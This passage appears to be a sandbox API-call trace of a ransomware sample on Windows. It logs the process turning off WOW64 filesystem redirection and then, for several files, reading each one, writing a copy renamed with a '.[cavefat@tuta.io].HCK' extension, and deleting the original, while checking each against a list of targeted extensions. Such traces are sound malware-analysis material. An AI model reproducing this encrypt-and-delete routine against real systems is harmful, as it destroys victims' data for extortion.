(hModule=0x77190000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771a6b30 [0147.779] Wow64DisableWow64FsRedirection (in: OldValue=0x310ff50 | out: OldValue=0x310ff50*=0x0) returned 1 [0147.779] lstrlenW (lpString="kernel32.dll") returned 12 [0147.779] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6eec98 | out: hHeap=0x6b0000) returned 1 [0147.779] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0147.779] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6eeb08 | out: hHeap=0x6b0000) returned 1 [0147.779] Sleep (dwMilliseconds=0x64) [0147.983] lstrcmpiW (lpString1=".log", lpString2=".HCK") returned 1 [0147.983] lstrlenW (lpString="PartnerSetupCompleteResult.log") returned 30 [0148.029] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0148.058] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=40) returned 1 [0148.058] CloseHandle (hObject=0x2f0) returned 1 [0148.058] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 0x20 [0148.058] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.102] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0148.102] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.102] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.102] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0148.102] GetLastError () returned 0x0 [0148.102] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x28, lpOverlapped=0x0) returned 1 [0148.113] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x30, lpOverlapped=0x0) returned 1 [0148.114] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.114] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x110, lpOverlapped=0x0) returned 1 [0148.114] SetEndOfFile (hFile=0x2f0) returned 1 [0148.114] CloseHandle (hObject=0x2f0) returned 1 [0148.116] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.116] SetEndOfFile (hFile=0x2e8) returned 1 [0148.116] CloseHandle (hObject=0x2e8) returned 1 [0148.117] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0148.117] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 1 [0148.117] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0148.117] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0148.117] lstrlenW (lpString=".doc") returned 4 [0148.117] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0148.117] lstrlenW (lpString=".docx") returned 5 [0148.117] lstrcmpiW (lpString1=".docx", lpString2="t.log") returned -1 [0148.117] lstrlenW (lpString=".pdf") returned 4 [0148.117] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0148.117] lstrlenW (lpString=".xls") returned 4 [0148.117] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0148.117] lstrlenW (lpString=".xlsx") returned 5 [0148.117] lstrcmpiW (lpString1=".xlsx", lpString2="t.log") returned -1 [0148.117] lstrlenW (lpString=".ppt") returned 4 [0148.117] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0148.117] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0148.117] lstrlenW (lpString=".zip") returned 4 [0148.117] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0148.117] lstrlenW (lpString=".rar") returned 4 [0148.117] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0148.118] lstrlenW (lpString=".bz2") returned 4 [0148.118] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0148.118] lstrlenW (lpString=".7z") returned 3 [0148.118] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0148.118] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0148.118] lstrlenW (lpString=".dbf") returned 4 [0148.118] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0148.118] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0148.118] lstrlenW (lpString=".1cd") returned 4 [0148.118] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0148.118] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0148.118] lstrlenW (lpString=".jpg") returned 4 [0148.118] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0148.118] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0148.118] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0148.118] lstrlenW (lpString=".doc") returned 4 [0148.118] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0148.118] lstrlenW (lpString=".docx") returned 5 [0148.118] lstrcmpiW (lpString1=".docx", lpString2="t.log") returned -1 [0148.118] lstrlenW (lpString=".pdf") returned 4 [0148.118] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0148.118] lstrlenW (lpString=".xls") returned 4 [0148.118] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0148.118] lstrlenW (lpString=".xlsx") returned 5 [0148.118] lstrcmpiW (lpString1=".xlsx", lpString2="t.log") returned -1 [0148.118] lstrlenW (lpString=".ppt") returned 4 [0148.118] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0148.118] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0148.118] lstrlenW (lpString=".zip") returned 4 [0148.118] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0148.119] lstrlenW (lpString=".rar") returned 4 [0148.119] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0148.119] lstrlenW (lpString=".bz2") returned 4 [0148.119] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0148.119] lstrlenW (lpString=".7z") returned 3 [0148.119] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0148.119] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0148.119] lstrlenW (lpString=".dbf") returned 4 [0148.119] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0148.119] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0148.119] lstrlenW (lpString=".1cd") returned 4 [0148.119] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0148.119] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0148.119] lstrlenW (lpString=".jpg") returned 4 [0148.119] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0148.119] lstrcmpiW (lpString1=".rtf", lpString2=".HCK") returned 1 [0148.119] lstrlenW (lpString="eula.rtf") returned 8 [0148.119] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0148.119] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=3419) returned 1 [0148.119] CloseHandle (hObject=0x2e8) returned 1 [0148.119] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 0x80 [0148.119] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.119] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0148.120] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.120] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.120] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0148.121] GetLastError () returned 0x0 [0148.121] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xd5b, lpOverlapped=0x0) returned 1 [0148.123] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xd60, lpOverlapped=0x0) returned 1 [0148.124] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.124] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xe4, lpOverlapped=0x0) returned 1 [0148.124] SetEndOfFile (hFile=0x2f0) returned 1 [0148.124] CloseHandle (hObject=0x2f0) returned 1 [0148.125] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.125] SetEndOfFile (hFile=0x2e8) returned 1 [0148.126] CloseHandle (hObject=0x2e8) returned 1 [0148.126] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.126] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 1 [0148.127] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0148.127] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0148.127] lstrlenW (lpString=".doc") returned 4 [0148.127] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0148.127] lstrlenW (lpString=".docx") returned 5 [0148.127] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0148.127] lstrlenW (lpString=".pdf") returned 4 [0148.127] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0148.127] lstrlenW (lpString=".xls") returned 4 [0148.127] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0148.127] lstrlenW (lpString=".xlsx") returned 5 [0148.127] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0148.127] lstrlenW (lpString=".ppt") returned 4 [0148.127] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0148.127] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0148.127] lstrlenW (lpString=".zip") returned 4 [0148.127] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0148.127] lstrlenW (lpString=".rar") returned 4 [0148.127] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0148.127] lstrlenW (lpString=".bz2") returned 4 [0148.127] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0148.127] lstrlenW (lpString=".7z") returned 3 [0148.127] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0148.127] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0148.127] lstrlenW (lpString=".dbf") returned 4 [0148.127] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0148.127] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0148.127] lstrlenW (lpString=".1cd") returned 4 [0148.127] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0148.127] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0148.127] lstrlenW (lpString=".jpg") returned 4 [0148.127] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0148.127] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0148.127] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0148.127] lstrlenW (lpString=".doc") returned 4 [0148.127] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0148.127] lstrlenW (lpString=".docx") returned 5 [0148.128] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0148.128] lstrlenW (lpString=".pdf") returned 4 [0148.128] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0148.128] lstrlenW (lpString=".xls") returned 4 [0148.128] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0148.128] lstrlenW (lpString=".xlsx") returned 5 [0148.128] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0148.128] lstrlenW (lpString=".ppt") returned 4 [0148.128] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0148.128] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0148.128] lstrlenW (lpString=".zip") returned 4 [0148.128] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0148.128] lstrlenW (lpString=".rar") returned 4 [0148.128] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0148.128] lstrlenW (lpString=".bz2") returned 4 [0148.129] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0148.129] lstrlenW (lpString=".7z") returned 3 [0148.129] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0148.129] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0148.129] lstrlenW (lpString=".dbf") returned 4 [0148.129] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0148.129] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0148.129] lstrlenW (lpString=".1cd") returned 4 [0148.129] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0148.129] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0148.129] lstrlenW (lpString=".jpg") returned 4 [0148.129] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0148.129] lstrcmpiW (lpString1=".rtf", lpString2=".HCK") returned 1 [0148.129] lstrlenW (lpString="eula.rtf") returned 8 [0148.129] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0148.130] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=8876) returned 1 [0148.130] CloseHandle (hObject=0x2e8) returned 1 [0148.130] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 0x80 [0148.130] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.130] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0148.130] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.130] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.130] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0148.131] GetLastError () returned 0x0 [0148.132] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x22ac, lpOverlapped=0x0) returned 1 [0148.133] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x22b0, lpOverlapped=0x0) returned 1 [0148.134] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.134] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xe4, lpOverlapped=0x0) returned 1 [0148.134] SetEndOfFile (hFile=0x2f0) returned 1 [0148.134] CloseHandle (hObject=0x2f0) returned 1 [0148.135] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.135] SetEndOfFile (hFile=0x2e8) returned 1 [0148.136] CloseHandle (hObject=0x2e8) returned 1 [0148.136] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.136] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 1 [0148.137] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0148.137] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0148.137] lstrlenW (lpString=".doc") returned 4 [0148.137] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0148.137] lstrlenW (lpString=".docx") returned 5 [0148.137] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0148.137] lstrlenW (lpString=".pdf") returned 4 [0148.137] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0148.137] lstrlenW (lpString=".xls") returned 4 [0148.137] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0148.137] lstrlenW (lpString=".xlsx") returned 5 [0148.137] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0148.137] lstrlenW (lpString=".ppt") returned 4 [0148.137] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0148.137] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0148.137] lstrlenW (lpString=".zip") returned 4 [0148.137] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0148.137] lstrlenW (lpString=".rar") returned 4 [0148.137] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0148.137] lstrlenW (lpString=".bz2") returned 4 [0148.137] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0148.137] lstrlenW (lpString=".7z") returned 3 [0148.137] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0148.137] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0148.137] lstrlenW (lpString=".dbf") returned 4 [0148.137] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0148.137] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0148.137] lstrlenW (lpString=".1cd") returned 4 [0148.137] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0148.137] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0148.137] lstrlenW (lpString=".jpg") returned 4 [0148.137] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0148.137] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0148.137] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0148.137] lstrlenW (lpString=".doc") returned 4 [0148.137] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0148.137] lstrlenW (lpString=".docx") returned 5 [0148.137] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0148.137] lstrlenW (lpString=".pdf") returned 4 [0148.138] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0148.138] lstrlenW (lpString=".xls") returned 4 [0148.138] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0148.138] lstrlenW (lpString=".xlsx") returned 5 [0148.138] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0148.138] lstrlenW (lpString=".ppt") returned 4 [0148.138] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0148.138] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0148.138] lstrlenW (lpString=".zip") returned 4 [0148.138] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0148.138] lstrlenW (lpString=".rar") returned 4 [0148.138] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0148.138] lstrlenW (lpString=".bz2") returned 4 [0148.138] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0148.138] lstrlenW (lpString=".7z") returned 3 [0148.138] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0148.138] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0148.138] lstrlenW (lpString=".dbf") returned 4 [0148.138] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0148.138] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0148.138] lstrlenW (lpString=".1cd") returned 4 [0148.138] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0148.138] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0148.138] lstrlenW (lpString=".jpg") returned 4 [0148.138] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0148.138] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0148.138] lstrlenW (lpString="LocalizedData.xml") returned 17 [0148.138] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0148.139] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=86284) returned 1 [0148.139] CloseHandle (hObject=0x2e8) returned 1 [0148.139] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 0x80 [0148.139] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.139] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0148.139] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.139] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.139] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, 